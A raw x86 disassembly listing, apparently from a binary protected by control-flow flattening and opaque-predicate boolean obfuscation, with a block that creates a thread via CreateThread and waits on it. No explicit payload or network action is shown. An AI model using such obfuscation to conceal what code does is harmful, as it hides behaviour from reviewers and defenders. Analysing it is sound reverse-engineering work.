xor cl, 0xff
and cl, 1
xor bl, 1
and bh, bl
mov ch, ah
xor ch, 0xff
and ch, 0xff
and ah, bl
or cl, bh
or ch, ah
xor cl, ch
mov ah, al
and ah, cl
xor al, cl
or ah, al
test ah, 1
mov esi, dword [ebp - 0x1d4]
cmovne esi, edx
mov dword [ebp - 0x28], esi
jmp 0x6e96f5
mov eax, 0x1c9099b4
mov ecx, 0x6ac40f5a
mov dl, byte [ebp - 0xd]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x6e96f5
mov eax, 0x3e47ec5f
mov ecx, 0x58d5b677
mov dl, 1
xor esi, esi
mov edi, 0x8064f997
mov ebx, 0x38c0e45c
mov dword [ebp - 0x2ec], eax
mov eax, dword [0x71b0ac]
mov dword [ebp - 0x2f0], eax
mov eax, dword [0x71b0a4]
add ebx, 0
sub ebx, 1
sub ebx, 0x38c0e45c
add edi, 0
add edi, ebx
sub edi, 0x8064f997
mov ebx, esi
sub ebx, edi
add ebx, 0
sub esi, ebx
mov edi, dword [ebp - 0x2f0]
add edi, esi
mov esi, dword [ebp - 0x2f0]
imul esi, edi
and esi, 1
cmp esi, 0
sete dh
cmp eax, 0xa
setl al
mov ah, al
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
mov bh, al
and bh, bl
mov byte [ebp - 0x2f1], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ah, bh
or al, bl
xor ah, al
mov al, dh
xor al, 0xff
mov bl, ah
and bl, al
xor ah, 0xff
mov al, dh
and al, ah
or bl, al
xor bl, 0xff
mov al, dh
xor al, 0xff
mov ah, dl
xor ah, 0
or bl, al
or ah, 0
xor bl, 0xff
and bl, ah
mov al, dh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov bh, dh
and bh, ah
or al, bh
xor al, 0xff
xor al, 0
and al, 0
mov ah, dl
xor ah, 0
and ah, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x2f2], al
mov al, bh
and al, 0
mov byte [ebp - 0x2f3], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x2f4], al
mov al, byte [ebp - 0x2f3]
or ah, al
mov al, byte [ebp - 0x2f4]
or al, bh
xor ah, al
xor dh, 0xff
mov al, ah
xor al, 0xff
mov bh, dl
xor bh, 1
or dh, al
or bh, 1
xor dh, 0xff
and dh, bh
mov al, byte [ebp - 0x2f1]
xor al, 0xff
and al, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x2f5], al
mov al, byte [ebp - 0x2f1]
and al, bh
mov byte [ebp - 0x2f6], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x2f7], al
mov al, byte [ebp - 0x2f5]
mov dword [ebp - 0x2fc], ecx
mov cl, byte [ebp - 0x2f6]
or al, cl
mov cl, byte [ebp - 0x2f7]
or cl, bh
xor al, cl
mov cl, dl
xor cl, 0
mov bh, al
xor bh, cl
and bh, al
mov al, byte [ebp - 0x2f1]
xor al, 0xff
xor ah, 0xff
mov cl, dl
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x2f2]
xor cl, 0xff
mov ah, dh
xor ah, 0xff
mov ch, dl
xor ch, 0
mov byte [ebp - 0x2fd], al
mov al, cl
and al, 0
mov byte [ebp - 0x2fe], al
mov al, byte [ebp - 0x2f2]
and al, ch
mov byte [ebp - 0x2ff], al
mov al, ah
and al, 0
and dh, ch
mov byte [ebp - 0x300], al
mov al, byte [ebp - 0x2fe]
mov byte [ebp - 0x301], cl
mov cl, byte [ebp - 0x2ff]
or al, cl
mov cl, byte [ebp - 0x300]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x301]
or cl, ah
xor cl, 0xff
or ch, 0
and cl, ch
or al, cl
mov cl, bh
xor cl, 0xff
mov ah, byte [ebp - 0x2fd]
xor ah, 0xff
mov ch, dl
xor ch, 1
mov dh, cl
and dh, 0xff
and bh, ch
mov byte [ebp - 0x302], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x303], al
mov al, byte [ebp - 0x2fd]
and al, ch
or dh, bh
mov bh, byte [ebp - 0x303]
or bh, al
xor dh, bh
or cl, ah
xor cl, 0xff
or ch, 1
and cl, ch
or dh, cl
mov al, byte [ebp - 0x302]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, byte [ebp - 0x302]
and ah, cl
mov ch, dh
xor ch, 0xff
and ch, 0xff
and dh, cl
or al, ah
or ch, dh
xor al, ch
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, bl
and ch, ah
or cl, ch
mov ah, al
xor ah, 0xff
and ah, 0
mov ch, dl
xor ch, 0
mov dh, al
and dh, ch
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or ah, dh
or bh, ch
xor ah, bh
mov ch, dl
xor ch, 1
and ch, 0
mov dh, dl
xor dh, 0
mov bh, dh
and bh, 1
mov byte [ebp - 0x304], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
or ch, bh
or al, dh
xor ch, al
mov al, dl
xor al, 1
mov dh, cl
xor dh, al
and dh, cl
mov al, ch
xor al, 0xff
mov bh, bl
xor bh, al
and bh, bl
mov al, ah
xor al, 0xff
mov bl, dl
xor bl, 1
mov byte [ebp - 0x305], al
mov al, dl
xor al, 1
mov byte [ebp - 0x306], al
mov al, byte [ebp - 0x305]
or al, bl
mov bl, byte [ebp - 0x306]
or bl, 1
xor al, 0xff
and al, bl
mov bl, byte [ebp - 0x304]
xor bl, 0xff
mov byte [ebp - 0x307], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x308], al
mov al, dl
xor al, 1
mov byte [ebp - 0x309], al
mov al, byte [ebp - 0x308]
or bl, al
mov al, byte [ebp - 0x309]
or al, 1
xor bl, 0xff
and bl, al
mov al, dh
and al, bh
xor dh, bh
or al, dh
mov dh, byte [ebp - 0x307]
and dh, bl
mov bh, byte [ebp - 0x307]
xor bh, bl
or dh, bh
mov bl, al
xor bl, 0xff
mov bh, dh
and bh, bl
xor dh, 0xff
and al, dh
or bh, al
mov al, cl
xor al, 0xff
mov dh, ah
xor dh, 0xff
mov bl, dl
xor bl, 0
mov byte [ebp - 0x30a], al
and al, 0
and cl, bl
mov byte [ebp - 0x30b], al
mov al, dh
and al, 0
and ah, bl
mov byte [ebp - 0x30c], al
mov al, byte [ebp - 0x30b]
or al, cl
mov cl, byte [ebp - 0x30c]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x30a]
or cl, dh
xor cl, 0xff
or bl, 0
and cl, bl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
and al, ah
mov dh, dl
xor dh, 1
and dh, 0
and ah, 1
or cl, al
or dh, ah
xor cl, dh
mov al, ch
and al, 1
xor ch, 1
or al, ch
xor cl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, bh
xor al, 0xff
mov ah, cl
xor ah, 0xff
xor dl, 1
mov ch, al
and ch, 0xff
and bh, dl
mov dh, ah
and dh, 0xff
and cl, dl
or ch, bh
or dh, cl
xor ch, dh
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or ch, al
test ch, 1
mov esi, dword [ebp - 0x2ec]
mov edi, dword [ebp - 0x2fc]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x6e96f5
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [ebp - 0x310], eax
call sub.KERNEL32.dll_CreateThread
mov ecx, 0xffffffff
mov edx, dword [ebp - 0x14]
mov dword [edx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
mov dword [ebp - 0x314], ecx
call sub.KERNEL32.dll_WaitForSingleObject
mov ecx, 0x3e47ec5f
mov edx, 0x4f7c4ec
mov bl, 1
xor esi, esi
mov edi, dword [0x71b0ac]
mov dword [ebp - 0x318], eax
mov eax, dword [0x71b0a4]
mov dword [ebp - 0x31c], eax
mov eax, esi
sub eax, edi
mov dword [ebp - 0x320], eax
mov eax, esi
sub eax, 0x292dd4bb
mov dword [ebp - 0x324], eax
mov eax, dword [ebp - 0x320]
mov dword [ebp - 0x328], ecx
mov ecx, dword [ebp - 0x324]
add eax, ecx
mov ecx, esi
sub ecx, eax
add ecx, 0x4321cfbd
sub ecx, 0x6ec19dcc
sub ecx, 0x4321cfbd
sub ecx, 0x8adf2f1d
sub ecx, 0x292dd4bb
add ecx, 0x8adf2f1d
mov eax, esi
sub eax, 0x6fd5dd04
sub ecx, eax
add ecx, 0x6907166b
sub ecx, 1
sub ecx, 0x6907166b
sub ecx, 0xde3e55e0
sub ecx, 0x6fd5dd04
add ecx, 0xde3e55e0
sub ecx, 0x5ca3b9ef
add ecx, 0xa6794bc7
add ecx, 0x5ca3b9ef
sub esi, 0x6ec19dcc
sub ecx, esi
sub ecx, 0x5ce23d27
sub ecx, 0xa6794bc7
add ecx, 0x5ce23d27
imul edi, ecx
and edi, 1
cmp edi, 0
sete bh
mov eax, dword [ebp - 0x31c]
cmp eax, 0xa
setl al
mov ah, bh
xor ah, 0xff
and ah, 1
mov cl, bl
xor cl, 1
mov ch, bh
and ch, cl
mov byte [ebp - 0x329], al
mov al, bl
xor al, 1
and al, 0xff
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov al, bl
xor al, 1
xor ah, 0xff
mov cl, bl
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov cl, bl
xor cl, 1
and cl, 1
mov ah, bl
xor ah, 1
and ah, 1
or cl, ah
xor cl, 0xff
mov ah, bh
xor ah, cl
and ah, bh
mov cl, al
xor cl, 0xff
mov ch, ah
xor ch, 0xff
mov byte [ebp - 0x32a], al
mov al, bl
xor al, 1
mov byte [ebp - 0x32b], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x32c], al
mov al, byte [ebp - 0x32a]
mov byte [ebp - 0x32d], cl
mov cl, byte [ebp - 0x32b]
and al, cl
mov cl, ch
and cl, 0xff
mov byte [ebp - 0x32e], al
mov al, byte [ebp - 0x32b]
and ah, al
mov al, byte [ebp - 0x32c]
mov byte [ebp - 0x32f], cl
mov cl, byte [ebp - 0x32e]
or al, cl
mov cl, byte [ebp - 0x32f]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x32d]
or cl, ch
xor cl, 0xff
mov ah, byte [ebp - 0x32b]
or ah, 1
and cl, ah
or al, cl
mov cl, byte [ebp - 0x329]
xor cl, 0xff
and cl, 0
mov ah, bl
xor ah, 0
mov ch, byte [ebp - 0x329]
and ch, ah
mov byte [ebp - 0x330], al
mov al, bl
xor al, 1
and al, 0
and ah, 1
or cl, ch
or al, ah
xor cl, al
mov al, bl
xor al, 0
xor cl, 0xff
mov ah, bl
xor ah, 0
or al, cl
or ah, 0
xor al, 0xff
and al, ah
mov cl, bl
xor cl, 0
and cl, 1
mov ah, bl
xor ah, 1
mov ch, ah
and ch, 0
mov byte [ebp - 0x331], al
mov al, bl
xor al, 1
and al, 0xff
and ah, 1
or cl, ch
or al, ah
xor cl, al
mov al, cl
xor al, 0xff
mov ah, byte [ebp - 0x329]
xor ah, al
mov al, byte [ebp - 0x329]
and ah, al
mov ch, bl
xor ch, 1
and ch, 1
mov al, bl
xor al, 1
mov byte [ebp - 0x332], al
and al, 1
mov byte [ebp - 0x333], al
mov al, bl
xor al, 1
and al, 0xff
mov byte [ebp - 0x334], al
mov al, byte [ebp - 0x332]
and al, 1
mov byte [ebp - 0x335], al
mov al, byte [ebp - 0x333]
or ch, al
mov al, byte [ebp - 0x334]
mov byte [ebp - 0x336], cl
mov cl, byte [ebp - 0x335]
or al, cl
xor ch, al
mov al, bl
xor al, 0
mov cl, ch
xor cl, al
and cl, ch
mov al, byte [ebp - 0x336]
xor al, 0xff
xor al, 1
and al, 0xff
mov ch, byte [ebp - 0x331]
xor ch, 0xff
mov byte [ebp - 0x337], al
mov al, ah
xor al, 0xff
mov byte [ebp - 0x338], al
mov al, bl
xor al, 0
mov byte [ebp - 0x339], al
mov al, ch
and al, 0
mov byte [ebp - 0x33a], al
mov al, byte [ebp - 0x331]
mov byte [ebp - 0x33b], cl
mov cl, byte [ebp - 0x339]
and al, cl
mov cl, byte [ebp - 0x338]
and cl, 0
mov byte [ebp - 0x33c], al
mov al, byte [ebp - 0x339]
and ah, al
mov al, byte [ebp - 0x33a]
mov byte [ebp - 0x33d], cl
mov cl, byte [ebp - 0x33c]
or al, cl
mov cl, byte [ebp - 0x33d]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x338]
or ch, cl
xor ch, 0xff
mov ah, byte [ebp - 0x339]
or ah, 0
and ch, ah
or al, ch
mov ah, byte [ebp - 0x33b]
xor ah, 0xff
mov ch, byte [ebp - 0x337]
xor ch, 0xff
mov cl, bl
xor cl, 1
mov byte [ebp - 0x33e], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x33f], al
mov al, byte [ebp - 0x33b]
and al, cl
mov byte [ebp - 0x340], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x341], al
mov al, byte [ebp - 0x337]
and al, cl
mov byte [ebp - 0x342], al
mov al, byte [ebp - 0x33f]
mov byte [ebp - 0x343], cl
mov cl, byte [ebp - 0x340]
or al, cl
mov cl, byte [ebp - 0x341]
mov byte [ebp - 0x344], al
mov al, byte [ebp - 0x342]
or cl, al
mov al, byte [ebp - 0x344]
xor al, cl
or ah, ch
xor ah, 0xff
mov cl, byte [ebp - 0x343]
or cl, 1
and ah, cl
or al, ah
mov cl, byte [ebp - 0x33e]
xor cl, 0xff
and cl, 1
mov ah, bl
xor ah, 1
mov ch, byte [ebp - 0x33e]
and ch, ah
mov byte [ebp - 0x345], al
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x346], al
mov al, byte [ebp - 0x345]
and al, ah
or cl, ch
mov ah, byte [ebp - 0x346]
or ah, al
xor cl, ah
mov al, bl
xor al, 0
and al, 0
mov ah, bl
xor ah, 0
mov ch, ah
and ch, 0
mov byte [ebp - 0x347], al
mov al, bl
xor al, 1
and al, 0
and ah, 1
mov byte [ebp - 0x348], al
mov al, byte [ebp - 0x347]
or al, ch
mov ch, byte [ebp - 0x348]
or ch, ah
xor al, ch
mov ah, bl
xor ah, 1
xor al, 0xff
mov ch, bl
xor ch, 0
or ah, al
or ch, 0
xor ah, 0xff
and ah, ch
mov al, bl
xor al, 1
and al, 1
mov ch, bl
xor ch, 1
and ch, 1
or al, ch
mov ch, bl
xor ch, 0
xor al, 0xff
mov byte [ebp - 0x349], al
mov al, bl
xor al, 1
mov byte [ebp - 0x34a], al
mov al, byte [ebp - 0x349]
or ch, al
mov al, byte [ebp - 0x34a]
or al, 1
xor ch, 0xff
and ch, al
mov al, ah
xor al, 0xff
mov byte [ebp - 0x34b], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x34c], al
mov al, bl
xor al, 0
mov byte [ebp - 0x34d], al
mov al, byte [ebp - 0x34b]
and al, 0
mov byte [ebp - 0x34e], al
mov al, byte [ebp - 0x34d]
and ah, al
mov al, byte [ebp - 0x34c]
and al, 0
mov byte [ebp - 0x34f], al
mov al, byte [ebp - 0x34d]
and ch, al
mov al, byte [ebp - 0x34e]
or al, ah
mov ah, byte [ebp - 0x34f]
or ah, ch
xor al, ah
mov ah, byte [ebp - 0x34b]
mov ch, byte [ebp - 0x34c]
or ah, ch
xor ah, 0xff
mov ch, byte [ebp - 0x34d]
or ch, 0
and ah, ch
or al, ah
mov ah, byte [ebp - 0x330]
xor ah, 0xff
and ah, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0x350], al
mov al, byte [ebp - 0x330]
and al, ch
or ah, al
mov al, bl
xor al, 0
and al, 1
mov ch, bl
xor ch, 1
and ch, 0
or al, ch
mov ch, bl
xor ch, 1
and ch, 1
mov byte [ebp - 0x351], al
mov al, bl
xor al, 1
and al, 1
or ch, al
mov al, ah
xor al, 0xff
mov byte [ebp - 0x352], al
mov al, byte [ebp - 0x351]
xor al, 0xff
mov byte [ebp - 0x353], al
mov al, bl
xor al, 1
mov byte [ebp - 0x354], al
mov al, byte [ebp - 0x352]
and al, 0xff
mov byte [ebp - 0x355], al
mov al, byte [ebp - 0x354]
and ah, al
mov al, byte [ebp - 0x353]
and al, 0xff
mov byte [ebp - 0x356], al
mov al, byte [ebp - 0x351]
mov byte [ebp - 0x357], cl
mov cl, byte [ebp - 0x354]
and al, cl
mov cl, byte [ebp - 0x355]
or cl, ah
mov ah, byte [ebp - 0x356]
or ah, al
xor cl, ah
mov al, byte [ebp - 0x352]
mov ah, byte [ebp - 0x353]
or al, ah
xor al, 0xff
mov ah, byte [ebp - 0x354]
or ah, 1
and al, ah
or cl, al
mov al, ch
and al, 1
xor ch, 1
or al, ch
mov ah, cl
xor ah, 0xff
and ah, 0
mov ch, bl
xor ch, 0
and cl, ch
mov byte [ebp - 0x358], al
mov al, bl
xor al, 1
and al, 0
and ch, 1
or ah, cl
or al, ch
xor ah, al
mov al, byte [ebp - 0x358]
xor al, 0xff
mov cl, ah
xor cl, al
and cl, ah
mov al, byte [ebp - 0x350]
xor al, 0xff
and al, 1
mov ah, bl
xor ah, 1
mov ch, byte [ebp - 0x350]
and ch, ah
mov byte [ebp - 0x359], al
mov al, bl
xor al, 1
and al, 0xff
and ah, 1
mov byte [ebp - 0x35a], al
mov al, byte [ebp - 0x359]
or al, ch
mov ch, byte [ebp - 0x35a]
or ch, ah
xor al, ch
mov ah, bh
xor ah, 0xff
mov ch, al
and ch, ah
xor al, 0xff
mov ah, bh
and ah, al
or ch, ah
xor ch, 0xff
xor bh, 0xff
mov al, bl
xor al, 0
or ch, bh
or al, 0
xor ch, 0xff
and ch, al
mov al, bl
xor al, 0
and al, 1
mov ah, bl
xor ah, 1
mov bh, ah
and bh, 0
mov byte [ebp - 0x35b], al
mov al, bl
xor al, 1
and al, 0xff
and ah, 1
mov byte [ebp - 0x35c], al
mov al, byte [ebp - 0x35b]
or al, bh
mov bh, byte [ebp - 0x35c]
or bh, ah
xor al, bh
mov ah, byte [ebp - 0x357]
xor ah, 0xff
and ah, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x35d], al
mov al, byte [ebp - 0x357]
and al, bh
mov byte [ebp - 0x35e], al
mov al, byte [ebp - 0x35d]
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x35f], al
mov al, byte [ebp - 0x35d]
and al, bh
mov bh, byte [ebp - 0x35e]
or ah, bh
mov bh, byte [ebp - 0x35f]
or bh, al
xor ah, bh
xor ah, 0xff
mov al, byte [ebp - 0x357]
xor al, 0xff
mov bh, bl
xor bh, 0
or ah, al
or bh, 0
xor ah, 0xff
and ah, bh
mov al, byte [ebp - 0x350]
xor al, 0xff
and al, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x360], al
mov al, byte [ebp - 0x350]
and al, bh
mov bh, byte [ebp - 0x360]
or bh, al
mov al, byte [ebp - 0x329]
xor al, 0xff
mov byte [ebp - 0x361], al
mov al, bh
mov byte [ebp - 0x362], cl
mov cl, byte [ebp - 0x361]
and al, cl
xor bh, 0xff
mov cl, byte [ebp - 0x329]
and cl, bh
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x329]
xor cl, 0xff
mov bh, bl
xor bh, 1
or al, cl
or bh, 1
xor al, 0xff
and al, bh
mov cl, byte [ebp - 0x362]
xor cl, 0xff
and cl, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x363], al
mov al, byte [ebp - 0x362]
and al, bh
or cl, al
mov al, ch
xor al, 0xff
and al, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x364], al
mov al, ch
and al, bh
mov bh, byte [ebp - 0x364]
or bh, al
mov al, bl
xor al, 0
and al, 1
mov byte [ebp - 0x365], al
mov al, bl
xor al, 1
mov byte [ebp - 0x366], al
and al, 0
mov byte [ebp - 0x367], al
mov al, bl
xor al, 1
and al, 0xff
mov byte [ebp - 0x368], al
mov al, byte [ebp - 0x366]
and al, 1
mov byte [ebp - 0x369], al
mov al, byte [ebp - 0x365]
mov byte [ebp - 0x36a], cl
mov cl, byte [ebp - 0x367]
or al, cl
mov cl, byte [ebp - 0x368]
mov byte [ebp - 0x36b], al
mov al, byte [ebp - 0x369]
or cl, al
mov al, byte [ebp - 0x36b]
xor al, cl
mov cl, byte [ebp - 0x36a]
xor cl, 0xff
mov byte [ebp - 0x36c], al
mov al, bl
xor al, 0
mov byte [ebp - 0x36d], al
mov al, bl
xor al, 0
mov byte [ebp - 0x36e], al
mov al, byte [ebp - 0x36d]
or cl, al
mov al, byte [ebp - 0x36e]
or al, 0
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x362]
xor al, 0xff
mov byte [ebp - 0x36f], al
mov al, byte [ebp - 0x36c]
xor al, 0xff
mov byte [ebp - 0x370], al
mov al, bl
xor al, 1
mov byte [ebp - 0x371], al
mov al, byte [ebp - 0x36f]
mov byte [ebp - 0x372], cl
mov cl, byte [ebp - 0x370]
or al, cl
mov cl, byte [ebp - 0x371]
or cl, 1
xor al, 0xff
and al, cl
mov cl, bl
xor cl, 0
mov byte [ebp - 0x373], al
mov al, bh
xor al, cl
and al, bh
mov cl, byte [ebp - 0x36c]
xor cl, 0xff
mov byte [ebp - 0x374], al
mov al, ch
xor al, cl
and al, ch
mov cl, byte [ebp - 0x372]
mov ch, byte [ebp - 0x373]
and cl, ch
mov ch, byte [ebp - 0x372]
mov byte [ebp - 0x375], al
mov al, byte [ebp - 0x373]
xor ch, al
or cl, ch
mov ch, byte [ebp - 0x374]
xor ch, 0xff
mov al, byte [ebp - 0x375]
xor al, 0xff
mov byte [ebp - 0x376], al
mov al, bl
xor al, 0
mov byte [ebp - 0x377], al
mov al, ch
and al, 0
mov byte [ebp - 0x378], al
mov al, byte [ebp - 0x374]
mov byte [ebp - 0x379], cl
mov cl, byte [ebp - 0x377]
and al, cl
mov cl, byte [ebp - 0x376]
and cl, 0
mov byte [ebp - 0x37a], al
mov al, byte [ebp - 0x375]
mov byte [ebp - 0x37b], cl
mov cl, byte [ebp - 0x377]
and al, cl
mov cl, byte [ebp - 0x378]
mov byte [ebp - 0x37c], al
mov al, byte [ebp - 0x37a]
or cl, al
mov al, byte [ebp - 0x37b]
mov byte [ebp - 0x37d], cl
mov cl, byte [ebp - 0x37c]
or al, cl
mov cl, byte [ebp - 0x37d]
xor cl, al
mov al, byte [ebp - 0x376]
or ch, al
xor ch, 0xff
mov al, byte [ebp - 0x377]
or al, 0
and ch, al
or cl, ch
mov al, byte [ebp - 0x379]
xor al, 0xff
and al, 0
mov ch, bl
xor ch, 0
mov byte [ebp - 0x37e], al
mov al, byte [ebp - 0x379]
and al, ch
mov byte [ebp - 0x37f], al
mov al, cl
xor al, 0xff
and al, 0
and cl, ch
mov ch, byte [ebp - 0x37e]
mov byte [ebp - 0x380], al
mov al, byte [ebp - 0x37f]
or ch, al
mov al, byte [ebp - 0x380]
or al, cl
xor ch, al
mov al, byte [ebp - 0x36a]
xor al, 0xff
mov cl, bh
xor cl, 0xff
mov byte [ebp - 0x381], al
mov al, bl
xor al, 0
mov byte [ebp - 0x382], al
mov al, byte [ebp - 0x381]
and al, 0
mov byte [ebp - 0x383], al
mov al, byte [ebp - 0x36a]
mov byte [ebp - 0x384], cl
mov cl, byte [ebp - 0x382]
and al, cl
mov cl, byte [ebp - 0x384]
and cl, 0
mov byte [ebp - 0x385], al
mov al, byte [ebp - 0x382]
and bh, al
mov al, byte [ebp - 0x383]
mov byte [ebp - 0x386], cl
mov cl, byte [ebp - 0x385]
or al, cl
mov cl, byte [ebp - 0x386]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x381]
mov bh, byte [ebp - 0x384]
or cl, bh
xor cl, 0xff
mov bh, byte [ebp - 0x382]
or bh, 0
and cl, bh
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov bh, bl
xor bh, 1
and al, bh
or cl, al
mov al, byte [ebp - 0x36c]
and al, 0
mov bh, byte [ebp - 0x36c]
xor bh, 0
or al, bh
xor al, 0xff
mov bh, cl
xor bh, al
and bh, cl
mov al, ch
xor al, 0xff
mov cl, bh
xor cl, 0xff
mov byte [ebp - 0x387], al
mov al, bl
xor al, 0
mov byte [ebp - 0x388], al
mov al, byte [ebp - 0x387]
and al, 0
mov byte [ebp - 0x389], al
mov al, byte [ebp - 0x388]
and ch, al
mov al, cl
and al, 0
mov byte [ebp - 0x38a], al
mov al, byte [ebp - 0x388]
and bh, al
mov al, byte [ebp - 0x389]
or al, ch
mov ch, byte [ebp - 0x38a]
or ch, bh
xor al, ch
mov ch, byte [ebp - 0x387]
or ch, cl
xor ch, 0xff
mov cl, byte [ebp - 0x388]
or cl, 0
and ch, cl
or al, ch
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, bl
xor ch, 1
mov bh, ah
and bh, ch
mov byte [ebp - 0x38b], al
mov al, bl
xor al, 1
and al, 0xff
and ch, 1
or cl, bh
or al, ch
xor cl, al
mov al, byte [ebp - 0x363]
xor al, 0xff
and al, 1
mov ch, bl
xor ch, 1
mov bh, byte [ebp - 0x363]
and bh, ch
or al, bh
mov ch, bl
xor ch, 0
and ch, 1
mov bh, bl
xor bh, 1
and bh, 0
or ch, bh
mov bh, bl
xor bh, 0
mov byte [ebp - 0x38c], al
mov al, cl
xor al, bh
and al, cl
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x38d], al
mov al, ah
xor al, bh
and al, ah
mov ah, bl
xor ah, 0
mov bh, byte [ebp - 0x38c]
xor bh, ah
mov ah, byte [ebp - 0x38c]
and bh, ah
mov ah, byte [ebp - 0x363]
xor ah, 0xff
mov byte [ebp - 0x38e], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x38f], al
mov al, bl
xor al, 1
mov byte [ebp - 0x390], al
mov al, byte [ebp - 0x38f]
or ah, al
mov al, byte [ebp - 0x390]
or al, 1
xor ah, 0xff
and ah, al
mov al, byte [ebp - 0x38d]
mov byte [ebp - 0x391], cl
mov cl, byte [ebp - 0x38e]
and al, cl
mov cl, byte [ebp - 0x38d]
mov byte [ebp - 0x392], al
mov al, byte [ebp - 0x38e]
xor cl, al
mov al, byte [ebp - 0x392]
or al, cl
mov cl, bh
xor cl, 0xff
mov byte [ebp - 0x393], al
mov al, ah
xor al, 0xff
mov byte [ebp - 0x394], al
mov al, bl
xor al, 1
mov byte [ebp - 0x395], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x396], al
mov al, byte [ebp - 0x395]
and bh, al
mov al, byte [ebp - 0x394]
and al, 0xff
mov byte [ebp - 0x397], al
mov al, byte [ebp - 0x395]
and ah, al
mov al, byte [ebp - 0x396]
or al, bh
mov bh, byte [ebp - 0x397]
or bh, ah
xor al, bh
mov ah, byte [ebp - 0x394]
or cl, ah
xor cl, 0xff
mov bh, byte [ebp - 0x395]
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x393]
xor cl, 0xff
and cl, 0
mov bh, bl
xor bh, 0
mov ah, byte [ebp - 0x393]
and ah, bh
mov byte [ebp - 0x398], al
xor al, 0xff
and al, 0
mov byte [ebp - 0x399], al
mov al, byte [ebp - 0x398]
and al, bh
or cl, ah
mov ah, byte [ebp - 0x399]
or ah, al
xor cl, ah
mov al, byte [ebp - 0x391]
xor al, 0xff
mov ah, byte [ebp - 0x38c]
xor ah, 0xff
mov bh, bl
xor bh, 0
mov byte [ebp - 0x39a], al
and al, 0
mov byte [ebp - 0x39b], al
mov al, byte [ebp - 0x391]
and al, bh
mov byte [ebp - 0x39c], al
mov al, ah
and al, 0
mov byte [ebp - 0x39d], al
mov al, byte [ebp - 0x38c]
and al, bh
mov byte [ebp - 0x39e], al
mov al, byte [ebp - 0x39b]
mov byte [ebp - 0x39f], cl
mov cl, byte [ebp - 0x39c]
or al, cl
mov cl, byte [ebp - 0x39d]
mov byte [ebp - 0x3a0], al
mov al, byte [ebp - 0x39e]
or cl, al
mov al, byte [ebp - 0x3a0]
xor al, cl
mov cl, byte [ebp - 0x39a]
or cl, ah
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, bl
xor ah, 1
and al, ah
or cl, al
mov al, bl
xor al, 0
mov ah, ch
xor ah, 0xff
mov bh, bl
xor bh, 0
mov byte [ebp - 0x3a1], al
and al, 0
mov byte [ebp - 0x3a2], al
mov al, bh
and al, 0
mov byte [ebp - 0x3a3], al
mov al, ah
and al, 0
and ch, bh
mov byte [ebp - 0x3a4], al
mov al, byte [ebp - 0x3a2]
mov byte [ebp - 0x3a5], cl
mov cl, byte [ebp - 0x3a3]
or al, cl
mov cl, byte [ebp - 0x3a4]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x3a1]
or cl, ah
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, byte [ebp - 0x3a5]
xor cl, 0xff
xor al, 0xff
mov ah, bl
xor ah, 0
or cl, al
or ah, 0
xor cl, 0xff
and cl, ah
mov al, byte [ebp - 0x39f]
and al, cl
mov ah, byte [ebp - 0x39f]
xor ah, cl
or al, ah
mov cl, byte [ebp - 0x38b]
xor cl, 0xff
and cl, 1
mov ah, bl
xor ah, 1
mov ch, byte [ebp - 0x38b]
and ch, ah
or cl, ch
mov ah, bl
xor ah, 1
xor cl, 0xff
mov ch, bl
xor ch, 1
